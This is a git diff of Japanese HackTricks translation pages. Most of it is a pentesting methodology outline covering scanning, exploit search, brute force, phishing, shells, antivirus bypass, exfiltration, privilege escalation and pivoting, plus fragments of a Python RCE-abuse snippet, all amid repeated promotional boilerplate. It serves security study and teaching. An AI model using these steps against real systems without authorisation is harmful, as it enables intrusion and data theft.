**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**インターネット上の企業の資産**を見つけるかに興味があるかもしれません。
|
||||
|
||||
{% hint style="info" %}
|
||||
外部テストを実行している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
|
||||
外部テストを実行している場合、企業の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
|
||||
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
|
||||
|
||||
**このセクションは、内部テストを実行している場合にのみ適用されます。**\
|
||||
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**ネットワーク内で何が見つかるかを受動的/能動的(MitM)に学ぶ**ことができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでみてください。
|
||||
ホストを攻撃する前に、おそらく**ネットワークからいくつかの資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することを好むかもしれません。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読むことができます。
|
||||
|
||||
### 3- [ポートスキャン - サービスの発見](pentesting-network/#scanning-hosts)
|
||||
|
||||
**ホストの脆弱性を探している場合、まずはどのポートでどのサービスが実行されているかを知ることが重要です。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
**ホストの脆弱性を探している場合に最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
|
||||
### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md)
|
||||
### **4-** [サービスバージョンの脆弱性の検索](search-exploits.md)
|
||||
|
||||
実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります。**運が良ければ、シェルを取得するためのエクスプロイトが見つかるかもしれません...
|
||||
実行されているサービスとそのバージョンを知っている場合、**既知の脆弱性を検索**する必要があります。運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
|
||||
|
||||
### **5-** サービスのペンテスト
|
||||
|
||||
実行中のサービスに特別なエクスプロイトがない場合、**各サービスの一般的なミス構成を探す必要があります。**
|
||||
実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す**必要があります。
|
||||
|
||||
**この本の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(および一般的でないものもあります)**。左側のインデックスで** _**PENTESTING**_ **セクションを検索してください**(サービスはデフォルトポートで並べられています)。
|
||||
**この書籍の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(および一般的でないものも)。左のインデックスで**PENTESTING**セクションを検索してください(サービスはデフォルトポートで並べられています)。
|
||||
|
||||
**特に** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(最も広範な部分)について特筆したいと思います。**\
|
||||
また、[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)もここにあります。
|
||||
**特に[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に言及したいと思います。**\
|
||||
また、ここで[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)が見つかります。
|
||||
|
||||
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを探し、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**自分でブラインドペンテスト**を実行してみてください。サービスに接続し、それをファジングして応答を読むことから始めることができます(あれば)。
|
||||
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを探し、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**独自のブラインドペンテスト**を実行して、**サービスに接続し、それをファジングして応答を読む**ことから始めることができます。
|
||||
|
||||
#### 5.1 自動ツール
|
||||
|
||||
**自動脆弱性評価を実行できるツールもいくつかあります。** **私は** [**Legion**](https://github.com/carlospolop/legion)**をお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。**
|
||||
**自動脆弱性評価**を実行できるいくつかのツールもあります。**この書籍で見つけることができるサービスのペンテストに関するノートに基づいて作成された**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。**
|
||||
|
||||
#### **5.2 サービスのブルートフォース**
|
||||
|
||||
一部のシナリオでは、**ブルートフォース**が**サービスを侵害**するのに役立つ場合があります。[**こちらから異なるサービスのブルートフォースのチートシート**](brute-force.md)**を見つけてください。**
|
||||
一部のシナリオでは、**ブルートフォース**が**サービスを侵害**するのに役立つ場合があります。[**異なるサービスのブルートフォースのチートシート**](brute-force.md)**をこちらで見つけてください。**
|
||||
|
||||
### 6- [フィッシング](phishing-methodology/)
|
||||
|
||||
この時点で興味深い脆弱性を見つけられない場合は、ネットワーク内に入るために**いくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については[こちら](phishing-methodology/)をご覧ください。
|
||||
この時点で興味深い脆弱性を見つけられない場合は、ネットワーク内に入るために**いくつかのフィッシングを試す必要がある**かもしれません。フィッシング手法については[こちら](phishing-methodology/)を読んでください。
|
||||
|
||||
### **7-** [**シェルの取得**](shells/)
|
||||
|
||||
何らかの方法で被害者でコードを実行できるようになっているはずです。その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。
|
||||
何らかの方法で被害者でコードを実行できるようになっているはずです。その後、シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます。
|
||||
|
||||
特にWindowsでは、**アンチウイルスを回避するためのヘルプが必要**です:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**\\
|
||||
特にWindowsでは、**アンチウイルスを回避するためのヘルプ**が必要になるかもしれません:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**
|
||||
|
||||
### 8- 内部
|
||||
|
||||
シェルで問題が発生した場合は、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がここにあります:
|
||||
シェルで問題が発生した場合、ペンテスターにとって非常に有用な**コマンドの小さなコンパイル**がここにあります:
|
||||
|
||||
- [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
- [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
|
@ -90,7 +90,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### **9 -** [**エクスフィルトレーション**](exfiltration.md)
|
||||
|
||||
おそらく、被害者から**データを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。**これらの目的で使用できる一般的なツールについての投稿がこちらにあります**:[**こちら**](exfiltration.md)**。**
|
||||
おそらく、被害者から**データを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。これらの目的で使用できる**一般的なツールについてのポスト**が[こちら](exfiltration.md)**にあります。**
|
||||
### **10- 特権昇格**
|
||||
|
||||
#### **10.1- ローカル特権昇格**
|
||||
|
@ -101,20 +101,20 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
* [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [**NTLMの動作**](../windows-hardening/ntlm/)
|
||||
* Windowsでの[**資格情報の盗み出し**](broken-reference/)
|
||||
* Windowsでの[**資格情報の盗み取り**](broken-reference/)
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック
|
||||
|
||||
**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールを確認するのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールをチェックするのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- ドメイン特権昇格**
|
||||
|
||||
ここでは、[**Active Directoryを列挙し、特権昇格を行い、持続させるための最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)が見つかります。これはセクションの一部に過ぎませんが、これはPentesting/Red Teamの割り当てにおいて**非常に繊細**なプロセスとなる可能性があります。
|
||||
ここでは、[**Active Directoryを列挙し、特権昇格し、持続するための最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)が見つかります。これはセクションの一部に過ぎませんが、これはPentesting/Red Teamの割り当てにおいて**非常に繊細**なプロセスになる可能性があります。
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Looting
|
||||
#### **11**.1 - ルーティング
|
||||
|
||||
ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの特権**で**他のマシンにアクセス**できるかを確認してください。\
|
||||
ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの権限で他のマシンにアクセス**できるかを確認してください。\
|
||||
ここでは、[**Windowsでのパスワードのダンプ方法**](broken-reference/)が異なる方法で見つかります。
|
||||
|
||||
#### 11.2 - 持続性
|
||||
|
@ -126,12 +126,12 @@ TODO: WindowsとLinuxでの持続性ポストを完了する
|
|||
|
||||
### 12 - ピボティング
|
||||
|
||||
**収集した資格情報**を使用して他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で**新しいホストを発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\
|
||||
**収集した資格情報**を使用して他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内の新しいホストを**発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\
|
||||
この場合、トンネリングが必要になるかもしれません。[**トンネリングについての記事**](tunneling-and-port-forwarding.md)がここにあります。\
|
||||
また、[**Active Directoryのペンテスト方法論**](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横方向に移動したり、特権を昇格させたり、資格情報をダンプしたりするためのクールなトリックが見つかります。\
|
||||
また、[**Active Directoryのペンテスト方法論**](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横断移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
|
||||
Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください。
|
||||
|
||||
### その他
|
||||
### もっと見る
|
||||
|
||||
#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
|
@ -149,9 +149,9 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある場合、**解読不可能なものをハックする** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -161,10 +161,10 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出**してください。
|
||||
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセス:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -27,27 +27,27 @@ HackTricksをサポートする他の方法:
|
|||
- [**Pyscriptハッキングトリック**](pyscript.md)
|
||||
- [**Pythonデシリアライゼーション**](../../pentesting-web/deserialization/#python)
|
||||
- [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/)
|
||||
- [**基本的なPython Webリクエスト構文**](web-requests.md)
|
||||
- [**基本的なPythonウェブリクエスト構文**](web-requests.md)
|
||||
- [**基本的なPython構文とライブラリ**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセス:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -39,7 +39,7 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -56,7 +56,7 @@ HackTricksをサポートする他の方法:
|
|||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,16 +8,16 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@hacktricks_live**をフォローしてください**.**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -90,7 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Pythonコマンドを使用してRCEを悪用
|
||||
## PythonコマンドでRCEを悪用
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -117,24 +117,24 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,35 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
